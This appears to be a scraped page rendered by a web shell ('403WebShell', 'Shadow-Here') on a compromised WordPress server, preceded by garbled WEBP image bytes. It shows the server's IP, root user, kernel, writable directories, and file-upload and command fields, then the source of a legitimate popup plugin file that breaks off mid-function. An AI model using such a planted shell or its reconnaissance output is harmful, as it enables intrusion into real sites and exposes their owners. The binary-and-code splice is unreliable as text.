RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð ....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 104.225.223.251  /  Your IP : 216.73.216.41
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux agtdemo03 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
User : root ( 0)
PHP Version : 7.4.3-4ubuntu2.29
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/web/dev.agtindia.co.in/bit/wp-content/plugins/itro-popup/functions/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/web/dev.agtindia.co.in/bit/wp-content/plugins/itro-popup/functions/core-function.php
<?php
/*
  This file is part of ITRO Popup Plugin. (email : support@itroteam.com)
 */

if (!defined('ABSPATH'))
    exit; // Exit if accessed directly

    /* ------------------ADD MENU PAGE */

function itro_plugin_menu() {
    if(!itro_can_manage()){
        return;
    }
    add_options_page('Popup Plugin Options', 'ITRO Popup', 'read', itroRootPath . 'admin/popup-admin.php', '');
}
function itro_can_manage() {
    $current_user = wp_get_current_user();
    
    if (current_user_can('manage_options')) {
        return true;
    }
    
    $selected_roles = json_decode(itro_get_option('roles'));
    
    if (is_array($selected_roles)) {
        foreach ($selected_roles as $sing_role) {
            foreach ($current_user->roles as $curr_role) {
                if ($sing_role == $curr_role || $curr_role == 'itro_support') {
                    return true;
                }
            }
        }
        return false;
    } else {
        foreach ($current_user->roles as $curr_role) {
            if ($curr_role == 'itro_support') {
                return true;
            }
        }
        return false;
    }
}


/* -------------- INITIALIZATION */

function itro_init() {
    /* -----load sample popup settings */
    if (get_option("itro_curr_ver") == NULL) {
	/* --------- initialize database */
	itro_db_init();

	itro_update_option('popup_time', 20);
	itro_update_option('popup_delay', 0);
	itro_update_option('cookie_time_exp', 0);
	itro_update_option('popup_background', '#FFFFFF');
	itro_update_option('popup_border_color', '#F7FF00');
	itro_update_option('px_popup_width', 600);
	itro_update_option('px_popup_height', 0);
	itro_update_option('show_countdown', 'yes');
	itro_update_option('auto_margin_check', 'yes');
	itro_update_option('select_popup_width', 'px');
	itro_update_option('select_popup_height', 'auto');
	itro_update_option('popup_bg_opacity', 0.40);
	itro_update_option('opaco_bg_color', '#8A8A8A');
	itro_update_option('popup_position', 'fixed');
	itro_update_option('popup_border_width', 3);
	itro_update_option('popup_border_radius', 8);
	itro_update_option('popup_padding', 2);
	itro_update_option('page_selection', 'none');

	switch (get_locale()) {
	    case 'en_US':
		$welcome_text = '<h1 style="text-align: center;"><span style="color: #000000; font-size: 20;">Hello, this is a pop-up sample.</span></h1><p style="text-align: center;"><span style="color: #000000; font-size: 20;">The basic stetting to get started are: Popup height, Popup time, Next visualization, Popup border color, Popup background.</span></p><p style="text-align: center;"><span style="color: #000000; font-size: 20;">Write whatever you want in the Custom text editor and enjoy our plugin!</span></p><p>&nbsp;</p>';
		break;
	    case 'it_IT':
		$welcome_text = '<h1 style="text-align: center;"><span style="color: #000000; font-size: 20;">Questo &egrave; un esempio di popup.</span></h1><p style="text-align: center;">&nbsp;</p><p style="text-align: center;"><span style="color: #000000; font-size: 20;">Le impostazioni base per iniziare sono: Altezza popup, Tempo popup, Prossima visualizzazione, Colore bordo, Colore sfondo.</span></p><p style="text-align: center;">&nbsp;</p><p style="text-align: center;"><span style="color: #000000; font-size: 20;">Scrivi qualunque cosa vuoi nell&#39;editor di testo di wordpress e buon lavoro!</span></p><p style="text-align: center;">&nbsp;</p>';
		break;
	    default:
		$welcome_text = '<h1 style="text-align: center;"><span style="color: #000000; font-size: 20;">Hello, this is a pop-up sample.</span></h1><p style="text-align: center;"><span style="color: #000000; font-size: 20;">The basic stetting to get started are: Popup height, Popup time, Next visualization, Popup border color, Popup background.</span></p><p style="text-align: center;"><span style="color: #000000; font-size: 20;">Write whatever you want in the Custom text editor and enjoy our plugin!</span></p><p>&nbsp;</p>';
	}
	itro_update_field('custom_html', $welcome_text);

	itro_update_option('sample_popup', 'done');
    }
}

/* --------------------------CHECK THE PLUGIN VERSION */

function itro_check_ver() {
    ob_start();
    if ($GLOBALS['ITRO_VER'] != get_option('itro_curr_ver')) {
	/* check and update the db */
	itro_update_db();

	$ver = get_option('itro_curr_ver');
	update_option('itro_prev_ver', $ver);
	update_option('itro_curr_ver', $GLOBALS['ITRO_VER']);
    }
    ob_end_clean();
}

/* --------------------------DISPLAY THE POPUP */

function itro_display_popup() {
    global $popup_fired; //it check if there is a popup visualization via shortcode or via automatic visualization
    //if a shortcode was fired it stop everything
    if ($popup_fired === true) {
	return;
    }
    
    /* check if it is the preview visualization */
    if (!empty($_GET['itro_preview']) && $_GET['itro_preview'] == 'yes' && is_user_logged_in()) {
	$is_preview = true;
    } else {
	$is_preview = false;
    }

    /*user display control*/
    switch (itro_get_option('users_display')){
        case 'logged':
            if(!is_user_logged_in() && !$is_preview){
                return;
            }
            break;
        case 'not_logged':
            if (is_user_logged_in() && !$is_preview) {
		return;
	    }
	    break;
     }

    /* woocommerce shop page identification */
    //TODO: controllare se è ancora necessaria la verifica dell'id della pagina shop
    $woo_shop = NULL;
    $woo_shop_id = NULL;
    if (function_exists('is_shop') && function_exists('wc_get_page_id')) /* if this functions exist, woocommerce is installed! */ {
	if (is_shop()) /* if the actual page is the standard woocommerce shop page */ {
	    $woo_shop = true;
	    $woo_shop_id = wc_get_page_id('shop');
	}
    }

    /* this condition, control if the popup must or not by displayed in a specified page */
    $selected_page_id = json_decode(itro_get_option('selected_page_id'));
    $id_match = NULL;

    /* get the page id */
    global $wp_query;
    $current_page_id = $wp_query->get_queried_object_id();


    switch (itro_get_option('page_selection')) {
	case 'some':
	    if (isset($selected_page_id)) {
		foreach ($selected_page_id as $single_id) {
                     /* if the selected id is the current page id popup will be displayed OR if the woo_shop_id has been selected and you are in the woocommerce standard shop page ($woo_shop == true), popup will be displayed.  */
		    if ($single_id == $current_page_id || ( $single_id == $woo_shop_id && $woo_shop )) {
			$id_match++;
		    }
		}
	    }
	    if ((is_front_page() && itro_get_option('blog_home') == 'yes') || (is_home() && itro_get_option('blog_home') == 'yes')) {
		$id_match++;
	    }
	    if ($id_match == NULL && !$is_preview) {
		return;
	    }
	    break;
	case 'none':
	    if (!$is_preview) {
		return;
	    }
	    break;
    } 
    itro_render_popup();
}
function itro_render_popup(){
        itro_style();
        itro_popup_template();
        itro_popup_js();
    }
    
/* ------------------------- SELECT PAGES FUNCTIONS */

function itro_check_selected_id($id_to_check) {
    if (itro_get_option('selected_page_id') != NULL) {
	$selected_page_id = json_decode(itro_get_option('selected_page_id'));
	$id_match = NULL;
	if (isset($selected_page_id)) {
	    foreach ($selected_page_id as $single_id) {
		if ($single_id == $id_to_check)
		    return (true);
	    }
	}
    }
}

function itro_list_pages() {
    ?>				
    <select name="selected_page_id[]" multiple> 
	<?php
	$pages = get_pages();
	foreach ($pages as $page) {
	    $option = '<option value="' . $page->ID . '"';
	    if (itro_check_selected_id($page->ID)) {
		$option .= 'selected="select"';
	    }
	    $option .= 'onmouseover="itro_check_state(this)" onmouseup="itro_select(this);">';
	    $option .= $page->post_title;
	    $option .= '</option>';
	    echo $option;
	}
	?>
    </select>
    <?php
}

/**
 * Sanitize data of popup options and custom content
 *
 * @since 4.9.3
 * 
 * @param	string	$data_name 	: the name of the data to sanitize/validate
 * @param	string	$data 		: string value to sanitize/validate
 * 
 * @return 	string, int	: the clean data
 *
 */
function ipp_validate_data($data_name, $data) {
    switch ($data_name) {
	case 'popup_time':
	case 'popup_delay':
	case 'popup_padding':
	case 'popup_border_width':
	case 'popup_border_radius':
	case 'popup_top_margin':
	case 'cookie_time_exp':
	case 'px_popup_width':
	case 'px_popup_height':
	case 'perc_popup_width':
	case 'perc_popup_height':
	    $data = intval($data);
	    break;
	case 'enter_button_url':
	case 'leave_button_url':
	case 'background_source':
	case 'close_cross_url':
	    $data = esc_url_raw($data);
	    break;
	case 'auto_margin_check':
	case 'advanced_settings':
	case 'show_countdown':
	case 'popup_unlockable':
	case 'disable_mobile':
	case 'absolute_mobile_pos':
	case 'blog_home':
	case 'age_restriction':
	case 'background_select':
	case 'delete_data':
	    $data = ($data != 'yes' ? NULL : $data );
	    break;
	case 'page_selection':
	    if (!in_array($data, ['some', 'all', 'none'])) {
		$data = 'none';
	    }
	    break;
        case 'users_display':
            if (!in_array($data, ['logged', 'all', 'not_logged'])) {
		$data = 'none';
	    }
	    break;
	case 'countdown_text':
	case 'enter_button_text':
	case 'leave_button_text':
	    $data = sanitize_text_field($data);
	    break;
	case 'custom_html':
	    $data = balanceTags($data);
	    break;
	case 'enter_button_bg_color':
	case 'enter_button_border_color':
	case 'leave_button_bg_color':
	case 'leave_button_border_color':
	case 'enter_button_font_color':
	case 'leave_button_font_color':
	case 'popup_border_color':
	case 'opaco_bg_color':
	case 'popup_background':
	case 'count_font_color':
	    if (preg_match("/^#[0-9a-fA-F]{6}$/", $data) !== 1) {
		$data = NULL;
	    }
	    break;
	case 'popup_bg_opacity';
	    if (preg_match("/^[0-1]\.[0-9]{2}$/", $data) !== 1) {
		$data = '0.40';
	    }
	    break;
	case 'cross_selected':
	    if (!in_array($data, array('white', 'black', 'white_border', 'url'))) {
		$data = 'black';
	    }
	    break;
	case 'popup_position':
	    if (!in_array($data, array('fixed', 'absolute'))) {
		$data = 'absolute';
	    }
	    break;
	case 'select_popup_width':
	    if (!in_array($data, array('perc', 'px'))) {
		$data = 'px';
	    }
	    break;
	case 'select_popup_height':
	    if (!in_array($data, array('perc', 'px', 'auto'))) {
		$data = 'auto';
	    }
	    break;
	//cleaned by json_encode() **to improve
	case 'selected_page_id':
        case 'roles':
	    break;
	default:
	    $data = NULL;
    }
    return $data;
}

/**
 * Shortcode for popup appearing
 *
 * @since 4.9
 *
 */
function itro_popup_shortcode() {
    global $popup_fired; //it check if there is a popup visualization via shortcode or via automatic visualization
    $popup_fired = true;

    ob_start();

    itro_style();
    itro_popup_template();
    itro_popup_js();

    return ob_get_clean();
}

add_shortcode('itroshowpopup', 'itro_popup_shortcode');

/* ------------------------- DEBUG INFORMATION ON ADMIN PANNEL */

function itro_get_serverinfo() {
    global $wpdb;
    global $wp_version;

    $sqlversion = $wpdb->get_var("SELECT VERSION() AS version");
    $mysqlinfo = $wpdb->get_results("SHOW VARIABLES LIKE 'sql_mode'");
    if (is_array($mysqlinfo))
	$sql_mode = $mysqlinfo[0]->Value;
    if (empty($sql_mode))
	$sql_mode = __('Not set', 'itro-plugin');
    if (ini_get('safe_mode'))
	$safe_mode = __('On', 'itro-plugin');
    else
	$safe_mode = __('Off', 'itro-plugin');
    if (ini_get('allow_url_fopen'))
	$allow_url_fopen = __('On', 'itro-plugin');
    else
	$allow_url_fopen = __('Off', 'itro-plugin');
    if (ini_get('upload_max_filesize'))
	$upload_max = ini_get('upload_max_filesize');
    else
	$upload_max = __('N/A', 'itro-plugin');
    if (ini_get('post_max_size'))
	$post_max = ini_get('post_max_size');
    else
	$post_max = __('N/A', 'itro-plugin');
    if (ini_get('max_execution_time'))
	$max_execute = ini_get('max_execution_time');
    else
	$max_execute = __('N/A', 'itro-plugin');
    if (ini_get('memory_limit'))
	$memory_limit = ini_get('memory_limit');
    else
	$memory_limit = __('N/A', 'itro-plugin');
    if (function_exists('memory_get_usage'))
	$memory_usage = round(memory_get_usage() / 1024 / 1024, 2) . __(' MByte', 'itro-plugin');
    else
	$memory_usage = __('N/A', 'itro-plugin');
    if (is_callable('exif_read_data'))
	$exif = __('Yes', 'itro-plugin') . " ( V" . substr(phpversion('exif'), 0, 4) . ")";
    else
	$exif = __('No', 'itro-plugin');
    if (is_callable('iptcparse'))
	$iptc = __('Yes', 'itro-plugin');
    else
	$iptc = __('No', 'itro-plugin');
    if (is_callable('xml_parser_create'))
	$xml = __('Yes', 'itro-plugin');
    else
	$xml = __('No', 'itro-plugin');

    if (function_exists('wp_get_theme')) {
	$theme = wp_get_theme();
    } else {
	$theme = get_theme(get_current_theme());
    }


    if (function_exists('is_multisite')) {
	if (is_multisite()) {
	    $ms = __('Yes', 'itro-plugin');
	} else {
	    $ms = __('No', 'itro-plugin');
	}
    } else
	$ms = __('N/A', 'itro-plugin');

    $siteurl = get_option('siteurl');
    $homeurl = get_option('home');
    $db_version = get_option('db_version');

    $debug_info = Array(
	__('Operating System', 'itro-plugin') => PHP_OS,
	__('Server', 'itro-plugin') => $_SERVER["SERVER_SOFTWARE"],
	__('Memory usage', 'itro-plugin') => $memory_usage,
	__('MYSQL Version', 'itro-plugin') => $sqlversion,
	__('SQL Mode', 'itro-plugin') => $sql_mode,
	__('PHP Version', 'itro-plugin') => PHP_VERSION,
	__('PHP Safe Mode', 'itro-plugin') => $safe_mode,
	__('PHP Allow URL fopen', 'itro-plugin') => $allow_url_fopen,
	__('PHP Memory Limit', 'itro-plugin') => $memory_limit,
	__('PHP Max Upload Size', 'itro-plugin') => $upload_max,
	__('PHP Max Post Size', 'itro-plugin') => $post_max,
	__('PHP Max Script Execute Time', 'itro-plugin') => $max_execute,
	__('PHP Exif support', 'itro-plugin') => $exif,
	__('PHP IPTC support', 'itro-plugin') => $iptc,
	__('PHP XML support', 'itro-plugin') => $xml,
	__('Site URL', 'itro-plugin') => $siteurl,
	__('Home URL', 'itro-plugin') => $homeurl,
	__('WordPress Version', 'itro-plugin') => $wp_version,
	__('WordPress DB Version', 'itro-plugin') => $db_version,
	__('Multisite', 'itro-plugin') => $ms,
	__('Active Theme', 'itro-plugin') => $theme['Name'] . ' ' . $theme['Version'],
    );
    $debug_info['Active Plugins'] = null;
    $active_plugins = $inactive_plugins = Array();
    $plugins = get_plugins();
    foreach ($plugins as $path => $plugin) {
	if (is_plugin_active($path)) {
	    $debug_info[$plugin['Name']] = $plugin['Version'];
	} else {
	    $inactive_plugins[$plugin['Name']] = $plugin['Version'];
	}
    }
    $debug_info['Inactive Plugins'] = null;
    $debug_info = array_merge($debug_info, (array) $inactive_plugins);

    $debug_info['Plugin DB Status'] = null;
 
    $table_list = check_tables_ipp();
    if(empty($table_list)){
	$table_list = "no tables";
    }
    
    $db_status = array(
	"Current version" => get_option('itro_curr_ver'),
	"Previous version" => get_option('itro_prev_ver'),
	"Installed Tables" => $table_list,
    );
    
    $debug_info = array_merge($debug_info, (array) $db_status);

    $debug_text = __("ITRO Popup Plugin - Debug info", 'itro-plugin') . "\r\n------------------\r\n\r\n";
    $page_text = "";
    if (!empty($debug_info)) {
	foreach ($debug_info as $name => $value) {
	    if ($value !== null) {
		$page_text .= "<li><strong>$name</strong> $value</li>";
		$debug_text .= "$name: $value\r\n";
	    } else {
		$page_text .= "</ul><h2>$name</h2><ul class='itro_debug_settings'>";
		$debug_text .= "\r\n$name\r\n----------\r\n";
	    }
	}
    }

